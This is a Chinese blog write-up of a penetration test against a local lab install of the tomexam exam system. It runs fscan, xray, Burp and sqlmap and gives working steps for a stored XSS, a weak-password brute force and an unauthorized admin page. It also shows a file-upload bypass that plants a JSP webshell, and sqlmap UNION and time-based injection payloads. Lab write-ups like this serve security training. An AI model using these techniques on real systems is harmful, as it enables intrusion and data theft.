渗透测试模拟实战-tomexam网络考试系统

渗透测试,也称为“pentest”或“道德黑客”,是一种模拟攻击的网络安全评估方法,旨在识别和利用系统中的安全漏洞。这种测试通常由专业的安全专家执行,他们使用各种技术和工具来尝试突破系统的防御,如网络、应用程序、主机和服务。目标是评估系统的安全状况,并提供关于如何修复发现的问题的建议。

渗透测试可以分为几种类型,包括:

    1.    黑盒测试:测试者对目标系统的信息了解最少,就像真正的攻击者一样。
    2.    白盒测试:测试者对目标系统有完全的了解,包括代码、架构和设计。
    3.    灰盒测试:测试者对目标系统有一定了解,介于黑盒和白盒测试之间。
    4.    盲测:测试者在事先未通知的情况下进行测试,以评估组织的实时响应能力。
    5.    内部测试:从内部网络进行测试,以评估内部防御机制的有效性。

渗透测试是维护网络安全的重要组成部分,可以帮助组织识别并修复潜在的安全漏洞,减少被恶意攻击的风险。然而,进行渗透测试时必须遵守法律和道德规范,确保所有活动都在授权范围内进行。

tomexam环境部署:

jspstudy2016、 tomexam靶场环境  安全工具    

6bff436312974708a2a1187b5f0c43e0.png

 087a167c53914fc5bb1d96c03d2ace17.png

406ecc42711642b9999d704690721b24.png 管理员登录:

admin  admin

http://10.0.0.101:8080/tomexam/login.jsp

e418f6ba21bb4d4b9c98e1caffd1375c.png


工具漏洞扫描

1、快速使用fscan、appscan、nessus、nmap、awvs、goby、7kb、破壳、御剑等

web漏洞扫描工具:appscan、awvs(Acunetix)、Netsparker.

系统漏洞扫描工具:nessus

信息收集:

域名:fofa、谷歌、百度、零零信安等搜索引擎、DNS历史记录、DNS备案号查询、https证书

敏感信息:谷歌搜索,社工库检索、威胁情报、天眼查、零零信安、7kb、破壳、dirsearch

IP地址:有CDN通过fofa标签找到真实ip、文件的hash值、网站证书、dns历史记录

网站指纹:wappalyzer插件、御剑web指纹识别、在线平台

端口:nmap、masscan、fscan、goby

目录扫描:7kb、破壳、御剑

旁站信息:fofa、masscan、k8、goby、fscan

旁注:facan

D:\在线工具包v0.3.1公测版\storage\fscan>.\fscan64.exe -h 10.0.0.101
start infoscan
(icmp) Target 10.0.0.101      is alive
[*] Icmp alive hosts len is: 1
10.0.0.101:8080 open
10.0.0.101:80 open
10.0.0.101:135 open
10.0.0.101:3306 open
10.0.0.101:8009 open
10.0.0.101:84 open
10.0.0.101:86 open
10.0.0.101:139 open
10.0.0.101:89 open
10.0.0.101:90 open
10.0.0.101:445 open
10.0.0.101:1433 open
[*] alive ports len is: 12
start vulscan
[*] WebTitle: http://10.0.0.101         code:400 len:39     title:None
[*] NetInfo:
[*]10.0.0.101[->]oldboy-f74d04fe[->]10.0.0.101
[+] 10.0.0.101  MS17-010        (Windows Server 2003 3790 Service Pack 2)
[*] WebTitle: http://10.0.0.101:8080    code:200 len:2416   title:Directory Listing For /
[*] WebTitle: http://10.0.0.101:90      code:200 len:2416   title:Directory Listing For /
[+] mssql:10.0.0.101:1433:sa 123456
[*] WebTitle: http://10.0.0.101:84      code:200 len:239    title:Hacked Me
[+] http://10.0.0.101:84 poc-yaml-iis-put-getshell
[*] WebTitle: http://10.0.0.101:86      code:200 len:41578  title:XYCMS中心小学建站系统
[*] WebTitle: http://10.0.0.101:89      code:200 len:173580 title:Shop7z网上购物系统-国内顶级的专业网上购物系统开发服务商
[+] http://10.0.0.101:86 poc-yaml-iis-put-getshell
[+] http://10.0.0.101:89 poc-yaml-iis-put-getshell
已完成 12/12
[*] 扫描结束,耗时: 18.0463107s

服务端口爆破:超级弱口令检查工具(SNETCracker)、Bruter(弱口令漏洞)

0a5c849e3dad4b61949cd501b75ae8de.png

用御剑扫描后台目录;对扫描出来的网站目录进行访问检测(列目录漏洞)

b0b3c3c71f0a46899895e0171a183dcf.png

指纹信息:通过指纹信息找漏洞(中间件)

378bd82770f344a8a1a9a880140ef544.png

工具探测漏洞略过。。 


手工探测漏洞

bp与xary联合使用:

1、bp设置顶级代理;xary反向监听。

1-1、打开bp设置顶级代理:

a22ebeb6644c411fa222c59e814792ba.png

1-2、xary配置config.yaml文件填写网站地址及端口; 

# 被动代理配置

hostname_allowed: [10.0.0.101]

port_allowed: [8080]

074c933cb6e047789efb3f265a9ac71d.png

 1-3、xary输入命令运行:

xray.exe webscan --listen 127.0.0.1:7777 --html-output lan2024.html

这个命令将启动Xray进行Web扫描,监听本地主机的7777端口,并将扫描结果以HTML格式保存到一个名为lan2024.html的文件中 

276a17eeb11b4b65b89fb219b63a5bdb.png

 即bp放一次包xary自动检测一次漏洞;


1-1、登陆页面探测漏洞:

1-1.1随意输入账户和密码查看登录提示:

7927ac1fab6d472ebfd848e35d45b972.png

 不存在不安全提醒:

44387059273d45438eabb4ba1a0c3600.png

1-1.2、bp抓包查看请求包:

存在明文密码漏洞(https明文密码不算漏洞)

7f3f187689b843ee94f8710ab10d2c9e.png

1-1.3、切换到管理员模式bp抓包进行暴力破解:(验证码可重复使用、弱口令密码)

f8686407e4d64da89ff5e225332c32e4.png

354471795e8c4391adba9ca7bcd21643.png

开启选项里的重定向功能 

07e777e0ba404dd7918a4b12894e9b65.png

40dfc0831f5e4dc8b2bd2d4c22ca2dc8.png


1-2、注册页面探测漏洞

a581b56f6ded42a8b7c6085a66ef8272.png

1-2.1、注册个新账号:(不安全提示漏洞)

(注册页面用户名存在不安全提示,登录密码没有密码长度限制及复杂度限制)

0a5a86d1b6204505906be4cbe5efbb63.png

1-2.2、尝试xss漏洞,调整字符限制;(未测试出xss)

b3ab7a59ca5c434db3341b1fb574e021.png

2d4e2caa099d4804ba70a7fbab8a8d07.png

1-3、登录后修改个人资料页面探测漏洞

1-3.1修改个人资料,邮箱位置插入xss代码(存在xss漏洞)

96b6f3cdec36418d862effee3905f3be.png

64e91123173244eb8f0c4eb887d55846.png

1-3.2、修改个人资料,形象图片位置查看源代码,发现文件上传模块连接:

(列目录、webshell漏洞)

65cc05a6d17e4bd0b0308adfd92e324a.png

访问源代码里的链接:

http://10.0.0.101:8080/tomexam/inc/upload/postfile.html

可直接上传文件(限制照片格式) 

1f7a2e376ad5455d81d031a10e2074f0.png

fe109ba5b03a408aa0b782017cd488c7.png

 抓包查看响应包,观察上传文件服务器端保存文件的格式:

2a4ea5bfd8fc4f8bb19819bbcb24f036.png

多次上传:

upload/20240606/tes_20240606214251421.jpg

upload/20240606/tes_20240606214420656.jpg

upload/20240606/tes_20240606214435484.jpg

根据观察后三位是随机数,前几位为时间;

 根据这一特性,抓包快速爆破:

bp设置后缀名变量,批量上传jpg、jsp格式:(快速爆破绕过限制)

4f63be0dc5484b67a0e249f305576cf2.png

 添加有效载荷:

jpg
jsp
jpg
jsp
jpg
jsp

35396058d9af440eb60d2033fa347f55.png

 开始攻击:(批量上传jpg、jsp成功)

860a178024fe4bad8705d6b86eef97b0.png

访问jpg格式上传的文件url,bp抓包后三位数字设置变量,后缀名改为jsp进行探测上传成功的jsp文件:

http://10.0.0.101:8080/tomexam/upload/20240606/tes_20240606220541843.jpg

代理拦截选项需取消拦截客户端请求中的File extension(不然访问文件bp不拦截)

bb37ec561b814dd8ba68fafc4a55f552.png

 抓包

deff5593e7f8462eb91f44485cd552f1.png

 设置后三位数字变量,后缀名改为jsp:

8c4e9b7a62934aac984ab5bff20cf487.png

 设置后三位数字有效载荷范围:

e7feca01f25a4c8b9836c0cfc63c850b.png 开始攻击:(成功筛选出上传成功的jsp文件)

68e9610eb09c4a6a9620aecef9008abc.png 访问webshell文件:

 http://10.0.0.101:8080/tomexam/upload/20240606/tes_20240606220541796.jsp

正常解析 , 成功webshell

d2a4f5b67df147329d68cd078de99d34.png

81c6c89607c0430189802757541a5028.png ------------------

方式二: 经过测试直接访问目录可查看上传上传的webshell文件:

http://10.0.0.101:8080/tomexam/upload/20240606/

a201bbfe317f47f5a6c31d632a8d19b4.png


1-4、登陆后新闻中心页面漏洞探测

1-4.1、点击新闻中心--通知;xary提示注入漏洞:

 复制提示链接访问,bp抓包,复制请求包到sqlmap跑注入:

链接:

http://10.0.0.101:8080/tomexam/page.do?action=comm_news&act=list&classid=2

bp抓包:

GET http://10.0.0.101:8080/tomexam/page.do?action=comm_news&act=list&classid=2 HTTP/1.1
Host: 10.0.0.101:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: JSESSIONID=DE7DAB778A6275DA60A1EBA38E9D7A41; 4unT_2132_lastvisit=1715954790; 4unT_2132_ulastactivity=bbe7dShKgYKRaBrRbwkvKSunwF6na%2B4Ow0kVNoUVHsSdR0D2Ii4f; 4unT_2132_visitedfid=2; 4unT_2132_smile=1D1; sitekeyword=%3Ca+href%3D%27http%3A%2F%2Fx%2E5vshop%2Ecom%27%3E5vShop%C8%FD%BA%CF%D2%BB%B5%E7%C9%CC%CF%B5%CD%B3%C9%CF%CA%D0%21%21%3C%2Fa%3E%26nbsp%3B%26nbsp%3B%3Ca+href%3D%27show%2Easp%3Fpkid%3D4929%27%3E%C3%C9%CC%D8%CB%B9%3C%2Fa%3E%26nbsp%3B%26nbsp%3B%3Ca+href%3D%27productlist%2Easp%3Fkind%3D00030008%27%3E%D6%D0%B5%CD%B6%CB%C3%C0%BE%C6%3C%2Fa%3E%26nbsp%3B%26nbsp%3B%26nbsp%3B
Connection: close

 sqlmap跑请求包(1.txt):

步骤一:
C:\lan\sqlmap>sqlmap.py -r c:\1.txt
步骤二:
Are you sure you want to continue? [y/N] y
步骤三:
GET parameter 'classid' is vulnerable. Do you want to keep testing the others (if any)?[y/N] nsqlmap identified the following injection points with a total of 406 HTTP(s) requests:
---
结果:
Place: GET
Parameter: classidType: boolean-based blindTitle: AND boolean-based blind - WHERE or HAVING clausePayload: action=comm_news&act=list&classid=2 AND 2799=2799Type: UNION queryTitle: MySQL UNION query (NULL) - 16 columnsPayload: action=comm_news&act=list&classid=2 UNION ALL SELECT CONCAT(0x3a6764763a,0x7472436a517a6d46616d,0x3a716b633a),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#Type: AND/OR time-based blindTitle: MySQL > 5.0.11 AND time-based blindPayload: action=comm_news&act=list&classid=2 AND SLEEP(5)
---
[20:08:35] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5.0.11

存在sql注入漏洞。


1-5、越权漏洞探测

1-5.1、管理员账户链接用普通用户打开访问:(需两个浏览器分别登录)

Microsoft Edge浏览器登录管理员用户:

Google浏览器登录普通用户:

 

 在试卷管理-管理试卷-试卷分析存在越权漏洞:

复制管理员链接:

 普通用户访问管理员链接:

http://10.0.0.101:8080/tomexam/system/analysis.do?action=shijuan

(管理员用户的试卷分析右击复制链接用普通用户访问可以直接访问 )


 

声明:

  • 此文章只做技术研究,谨遵守国家相关法律法规,请勿用于违法用途,如果您对文章内容有疑问,可以尝试留言私信,如有侵权请联系小编处理。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/346086.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

高德地图简单实现点标,和区域绘制

高德地图开发文档:https://lbs.amap.com/api/javascript-api/guide/abc/quickstart 百度搜索高德地图开发平台 注册高德地图开发账号 在应用管理中 我的应用中 添加一个Key 点击提交 进入高德地图开发文档:https://lbs.amap.com/api/javascript-api/guide/abc/quickstart …

定个小目标之刷LeetCode热题(15)

这道题直接就采用两数相加的规则,维护一个进阶值(n)即可,代码如下 class Solution {public ListNode addTwoNumbers(ListNode l1, ListNode l2) {// 新建一个值为0的头结点ListNode newHead new ListNode(0);// 创建几个指针用于…

从零开始,手把手教你文旅产业策划全攻略

如果你想深入了解文旅策划的世界,那么有很多途径可以获取知识和灵感。 首先,阅读一些专业书籍也是一个不错的选择。书店或图书馆里有许多关于文旅策划的书籍,它们通常涵盖了策划的基本理论、方法和实践案例。通过阅读这些书籍,你…

对接专有钉钉(浙政钉)登陆步骤

背景 因为项目需要对接浙政钉,我想应该和之前对接阿里云的钉钉登陆钉钉登陆类似,就上网搜索看看,出现了个专有钉钉的概念,就一时间搞不清楚,钉钉,专有钉钉,浙政钉的区别,后续稍微理…

20240606更新Toybrick的TB-RK3588开发板在Android12下的内核

20240606更新Toybrick的TB-RK3588开发板在Android12下的内核 2024/6/6 10:51 0、整体编译: 1、cat android12-rk-outside.tar.gz* | tar -xzv 2、cd android12 3、. build/envsetup.sh 4、lunch rk3588_s-userdebug 5、./build.sh -AUCKu -d rk3588-toybrick-x0-a…

Vue3中的常见组件通信之mitt

Vue3中的常见组件通信之mitt 概述 ​ 在vue3中常见的组件通信有props、mitt、v-model、 r e f s 、 refs、 refs、parent、provide、inject、pinia、slot等。不同的组件关系用不同的传递方式。常见的撘配形式如下表所示。 组件关系传递方式父传子1. props2. v-model3. $refs…

Spring Boot框架基础

文章目录 1 Spring Boot概述2 Spring Boot入门2.1 项目搭建2.2 入门程序 3 数据请求与响应3.1 数据请求3.2 数据响应 4 分层解耦4.1 三层架构4.2 控制反转4.3 依赖注入 5 参考资料 1 Spring Boot概述 Spring是Java EE编程领域的一个轻量级开源框架,是为了解决企业级…

欧美北美南美国外媒体投稿和东南亚中东亚洲媒体海外新闻发稿软文推广营销策略有哪些?

在当今全球化的浪潮中,中国品牌正积极拓展海外市场,寻求更广阔的发展空间。面对国际竞争,有效的海外媒体发稿营销策略对于品牌国际化至关重要。以下是一些关键点和建议,以帮助品牌在海外市场取得成功。 深入了解目标市场&#xf…

11. MySQL 备份、恢复

文章目录 【 1. MySQL 备份类型 】【 2. 备份数据库 mysqldump 】2.1 备份单个数据表2.2 备份多个数据库2.3 备份所有数据库2.4 备份文件解析 【 3. 恢复数据库 mysql 】【 4. 导出表数据 OUTFILE 】【 5. 恢复表数据 INFILE 】 问题背景 尽管采取了一些管理措施来保证数据库的…

【python】unindent does not match any outer indentation level错误的解决办法

【Python】"unindent does not match any outer indentation level"错误的解决办法 在Python编程中,缩进是定义代码块的关键。与其它编程语言使用花括号或特定关键字不同,Python完全依赖缩进来区分代码结构。如果你在编码时遇到了错误信息unin…

stm32编写Modbus步骤

1. modbus协议简介: modbus协议基于rs485总线,采取一主多从的形式,主设备轮询各从设备信息,从设备不主动上报。 日常使用都是RTU模式,协议帧格式如下所示: 地址 功能码 寄存器地址 读取寄存器…

MySQL基础---库的操作和表的操作(配着自己的实操图,简单易上手)

绪论​ 勿问成功的秘诀为何,且尽全力做您应该做的事吧。–美华纳;本章是MySQL的第二章,本章主要写道MySQL中库和表的增删查改以及对库和表的备份处理,本章是基于上一章所写若没安装mysql可以查看Linux下搭建mysql软件及登录和基本…

ubuntu18.04离线安装Mysql

查看系统位数 首先看自己Ubuntu是32还是64位的 sudo uname --m 我是64位。 下载mysql MySQL :: Download MySQL Community Server (Archived Versions) 上传到服务器上 解压 mkdir mysql8 sudo tar -xvf mysql-server_8.0.11-1ubuntu18.04_amd64.deb-bundle.tar -C ./mysql8…

1 c++多线程创建和传参

什么是进程? 系统资源分配的最小单位。 什么是线程? 操作系统调度的最小单位,即程序执行的最小单位。 为什么需要多线程? (1)加快程序执行速度和响应速度, 使得程序充分利用CPU资源。 (2&…

【MySQL】(基础篇二) —— MySQL初始用

MySQL初始用 目录 MySQL初始用基本语法约定选择数据库查看数据库和表其它的SHOW 在Navicat中,大部分数据库管理相关的操作都可以通过图形界面完成,这个很简单,大家可以自行探索。虽然Navicat等图形化数据库管理工具为操作和管理数据库提供了非…

upload-labs-第五关

目录 第五关 1、构造.user.ini文件 2、构造一个一句话木马文件,后缀名为jpg 3、上传.user.ini文件后上传flag.jpg 4、上传成功后访问上传路径 第五关 原理: 这一关采用黑名单的方式进行过滤,不允许上传php、php3、.htaccess等这几类文件…

AB测试学习(附有相关代码)

目录 一、基本概念1. 定义2. 作用3. 原理 二、实验基本原则三、实验步骤四、实验步骤详解1. 确定实验目的2. 确定实验变量3. 实验指标设计3.1 实验指标类型(按作用区分)3.1.1 核心指标3.1.2 驱动指标(跟踪指标)3.1.3 护栏指标 3.2…

vue-router全部搞定(附源码)

源码下载链接(先转存,后下载):https://pan.quark.cn/s/b0c6edd68c21 怎么用vue-cli搭建项目 我们固然可以用传统htmljs的方式来搭建vue项目,但是如果组件很多,就需要通过Vue.component的方式一个个去引入…

mathematica中针对三维图中的颜色和填充透明度进行指定

颜色指定使用的命令为:PlotStyle 填充的透明度使用的命令为:FillingStyle 示例代码: Clear["Global*"] Plot3D[{Sin[x^2 y], Sin[x^2 - y]}, {x, -2, 2}, {y, -2, 2}, PlotStyle -> {Directive[Red, Specularity[White, 100…

1.VMware软件的安装与虚拟机的创建

1. VMware软件的安装 1.1 为什么需要虚拟机 嵌入式Linux开发需要在Linux系统下运行,我们选择Ubuntu。   1、双系统安装     有问题,一次只能使用一个系统。Ubuntu基本只做编译用。双系统安装不能同时运行Windows和Linux。   2、虚拟机软件   …